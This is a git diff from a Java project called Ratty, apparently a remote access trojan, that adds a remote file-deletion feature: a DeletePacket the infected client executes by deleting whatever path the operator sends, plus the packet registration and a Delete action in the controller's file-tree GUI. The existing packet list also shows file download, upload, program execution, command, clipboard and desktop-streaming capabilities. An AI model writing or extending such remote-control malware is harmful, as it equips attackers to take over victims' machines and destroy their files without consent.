diff --git a/Ratty/src/de/sogomn/rat/packet/DeletePacket.java b/Ratty/src/de/sogomn/rat/packet/DeletePacket.java new file mode 100644 index 0000000..081cefe --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/DeletePacket.java @@ -0,0 +1,36 @@ +package de.sogomn.rat.packet; + +import java.io.File; + +import de.sogomn.rat.ActiveClient; + +public final class DeletePacket implements IPacket { + + private String path; + + public DeletePacket(final String path) { + this.path = path; + } + + public DeletePacket() { + this(""); + } + + @Override + public void send(final ActiveClient client) { + client.writeUTF(path); + } + + @Override + public void receive(final ActiveClient client) { + path = client.readUTF(); + } + + @Override + public void execute(final ActiveClient client) { + final File file = new File(path); + + file.delete(); + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 087ceef..4b5b4d2 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -15,7 +15,8 @@ public enum PacketType { DOWNLOAD(10, DownloadPacket.class), UPLOAD(11, UploadPacket.class), EXECUTE(12, ExecutePacket.class), - FOLDER(13, NewFolderPacket.class); + FOLDER(13, NewFolderPacket.class), + DELETE(14, DeletePacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index 95baf23..b5b8bfd 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -269,7 +269,7 @@ public final class FileTreePanel { return path; } - public String getLastNodeClickedFolder() { + public String getLastNodePathFolder() { final String path; if (!lastNodeClicked.isLeaf()) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 6332cea..644ffad 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -11,6 +11,7 @@ import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; +import de.sogomn.rat.packet.DeletePacket; import de.sogomn.rat.packet.DesktopStreamPacket; import de.sogomn.rat.packet.DownloadPacket; import de.sogomn.rat.packet.ExecutePacket; @@ -106,7 +107,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve if (file != null) { final String localPath = file.getAbsolutePath(); final FileTreePanel treePanel = serverClient.getTreePanel(); - final String path = treePanel.getLastNodeClickedFolder(); + final String path = treePanel.getLastNodePathFolder(); final UploadPacket packet = new UploadPacket(localPath, path); return packet; @@ -119,7 +120,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return packet; } else if (command == FileTreePanel.NEW_FOLDER) { final FileTreePanel treePanel = serverClient.getTreePanel(); - final String path = treePanel.getLastNodeClickedFolder(); + final String path = treePanel.getLastNodePathFolder(); final String name = JOptionPane.showInputDialog(null); if (name != null && !name.isEmpty()) { @@ -127,6 +128,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return packet; } + } else if (command == FileTreePanel.DELETE) { + final FileTreePanel treePanel = serverClient.getTreePanel(); + final String path = treePanel.getLastPathClicked(); + final DeletePacket packet = new DeletePacket(path); + + treePanel.removeFile(path); + + return packet; } return null;